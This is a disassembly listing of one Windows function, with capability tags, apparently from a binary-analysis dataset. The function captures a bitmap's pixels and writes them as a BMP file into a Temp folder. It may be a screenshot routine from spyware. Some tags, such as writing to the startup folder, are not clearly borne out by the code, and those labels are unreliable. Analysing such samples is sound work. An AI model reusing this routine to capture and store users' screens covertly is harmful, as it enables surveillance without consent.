Function at 0x140006b80
Capabilities:
Create directory
Get common file path
Get startup folder
Write file on windows
Write file to startup folder

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x140040040]
xor rax, rsp
mov qword [rbp + 0x210], rax
mov rbx, rdx
mov rsi, rcx
xor r14d, r14d
mov dword [rbp - 0x80], r14d
lea r8, [rsp + 0x60]
lea edx, [r14 + 0x20]
call qword [sym.imp.GDI32.dll_GetObjectW]
mov eax, 0x4d42
mov word [rbp - 0x58], ax
movzx r10d, word [rsp + 0x72]
mov eax, r10d
movzx r9d, word [rsp + 0x70]
imul eax, r9d
mov r8d, dword [rsp + 0x68]
imul eax, r8d
mov ecx, dword [rsp + 0x64]
imul eax, ecx
cdq
and edx, 7
add eax, edx
sar eax, 3
add eax, 0x36
mov dword [rbp - 0x56], eax
mov dword [rbp - 0x52], r14d
mov dword [rbp - 0x4e], gethostname
mov dword [rbp - 0x28], 0x28
mov dword [rbp - 0x24], ecx
mov dword [rbp - 0x20], r8d
mov word [rbp - 0x1c], r9w
mov word [rbp - 0x1a], r10w
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], r14
lea rax, [rbp]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r14 + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140006ff7
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
lea rax, [rbp]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], r14w
jne 0x140006c74
lea rdx, [rbp]
lea rcx, [rsp + 0x40]
call fcn.14002a0b0
nop
mov r8d, 6
lea rdx, str.Temp_
lea rcx, [rsp + 0x40]
call fcn.140027030
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140006d17
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d12
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006d12
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r14w
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 7
cmova rcx, qword [rbp - 0x48]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov r8, rbx
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x78]
call fcn.140028b80
nop
lea rcx, [rbp - 0x78]
cmp qword [rbp - 0x60], 7
cmova rcx, qword [rbp - 0x78]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140006e51
lea rdx, str.Failed_to_create_file_in_Temp_directory.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400287b0
lea rdx, [0x140028980]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 7
jbe 0x140006df7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006df2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006f93
call fcn.14002dd70
mov qword [rbp - 0x68], r14
mov qword [rbp - 0x60], 7
mov word [rbp - 0x78], r14w
mov rdx, qword [rbp - 0x30]
cmp rdx, 7
jbe 0x14000701a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006e47
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006fe7
call fcn.14002dd70
jmp 0x14000701a
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x80]
mov r8d, 0xe
lea rdx, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x80]
mov r8d, 0x28
lea rdx, [rbp - 0x28]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rcx, rax
mov dword [rsp + 0x30], r14d
lea rax, [rbp - 0x28]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
mov r9d, dword [rsp + 0x68]
xor r8d, r8d
mov rdx, rsi
call qword [sym.imp.GDI32.dll_GetDIBits]
movzx eax, word [rsp + 0x72]
movzx ecx, word [rsp + 0x70]
imul eax, ecx
imul eax, dword [rsp + 0x68]
imul eax, dword [rsp + 0x64]
cdq
and edx, 7
add eax, edx
sar eax, 3
movsxd rcx, eax
call fcn.14002e0cc
mov rbx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rcx, rax
mov dword [rsp + 0x30], r14d
lea rax, [rbp - 0x28]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
mov r9d, dword [rsp + 0x68]
xor r8d, r8d
mov rdx, rsi
call qword [sym.imp.GDI32.dll_GetDIBits]
movzx eax, word [rsp + 0x72]
movzx ecx, word [rsp + 0x70]
imul eax, ecx
imul eax, dword [rsp + 0x68]
imul eax, dword [rsp + 0x64]
cdq
and edx, 7
lea r8d, [rdx + rax]
sar r8d, 3
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x80]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14002dd70
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 7
jbe 0x140006f9f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006f9a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rbp - 0x68], r14
mov qword [rbp - 0x60], 7
mov word [rbp - 0x78], r14w
mov rdx, qword [rbp - 0x30]
cmp rdx, 7
jbe 0x140006ff3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006fee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006fee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov al, 1
jmp 0x14000701c
lea rdx, str.Failed_to_get_Temp_directory_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400287b0
lea rdx, [0x140028980]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor al, al
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.14002dd50
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret